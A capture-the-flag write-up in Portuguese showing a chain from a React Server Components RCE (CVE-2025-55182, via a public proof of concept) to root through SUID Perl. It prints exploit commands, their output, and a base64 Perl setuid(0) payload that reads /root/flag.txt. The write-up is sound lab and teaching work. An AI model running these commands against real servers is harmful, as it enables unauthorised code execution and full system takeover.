
[First-Blood-XO] Endpoint do React Server Component vulnerável a CVE-2025-55182 (RCE) → enumerou binários SUID → /usr/bin/perl tinha SUID definido → usou POSIX setuid(0) do Perl para escalar para root → leu /root/flag.txt
Categoria: Exploração Web | Dificuldade: Médio | Vulnerabilidade: Execução Remota de Código → Escalação de Privilégio SUID
Endpoint do React Server Component vulnerável ao CVE-2025-55182 (RCE) → enumerou binários SUID → /usr/bin/perl tinha o bit SUID ativado → usou setuid(0) do POSIX do Perl para escalar para root → leu /root/flag.txt.
Flag: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
Alvo: http://challenge.cybermesh.site:30035/
O alvo era uma aplicação web baseada em React que utilizava React Server Components (RSC) — uma arquitetura relativamente nova que executa componentes do lado do servidor e transmite a saída serializada de volta ao cliente através de um formato de fio personalizado.
Essa arquitetura introduz um limite de execução no lado do servidor. O tratamento inadequado de entrada nesse limite é exatamente o que o CVE-2025-55182 explora.
React Server Components RCE — O servidor não consegue sanitizar a entrada controlada pelo usuário antes que ela alcance a camada de execução do componente no servidor. Isso permite que um atacante injete comandos de shell do sistema operacional que executam no contexto do processo Node.js.
Fluxo do ataque:
Existe um PoC público para este CVE:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
Verificação inicial — confirmando RCE e contexto de execução:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
Saída:
[+] EXPLOITATION SUCCESSFUL
► app
O servidor executa como usuário app. Não é root — escalação necessária.
Vasculhando por binários SUID:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
Saída:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl tem o bit SUID ativado. Este é um GTFOBin bem conhecido — quando o Perl pertence ao root e tem SUID, ele executa com privilégios de root independentemente de quem o invoca.
Construiu um payload Perl codificado em base64 que:
POSIX::setuid(0) para escalar para root/root/flag.txtEntregue através do endpoint RCE:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
O payload decodificado é aproximadamente:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
Saída:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. A superfície de ataque do RSC é subestimada. React Server Components são um novo paradigma. Muitas implantações não foram endurecidas contra injeção de entrada no limite do componente do servidor. Este CVE é um lembrete de que "renderização do lado do servidor" não é intrinsecamente segura — o limite de execução ainda precisa de sanitização adequada.
2. SUID em runtimes de scripts = root instantâneo.
/usr/bin/perl com SUID é uma configuração incorreta clássica. O GTFOBins cobre isso em detalhes. Nunca defina o bit SUID em linguagens de script (Perl, Python, Ruby, etc.) — ao contrário de binários compilados projetados para SUID (su, passwd), esses runtimes oferecem caminhos de escalação triviais.
3. A flag é autoconsciente.
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — o desafio foi explicitamente projetado em torno do SUID Perl como o caminho de escalação pretendido. Cadeia limpa.
CVE-2025-55182 (RSC RCE)
└─> whoami → usuário "app"
└─> encontrar binários SUID
└─> /usr/bin/perl (SUID root) identificado
└─> payload Perl em base64 → escrever em /tmp/p.pl
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> FLAG ✓
Escrito por Abdullah Maqbool — Engenheiro de Testes de Penetração @ TISS | CRTA · CRTOM · CompTIA PenTest+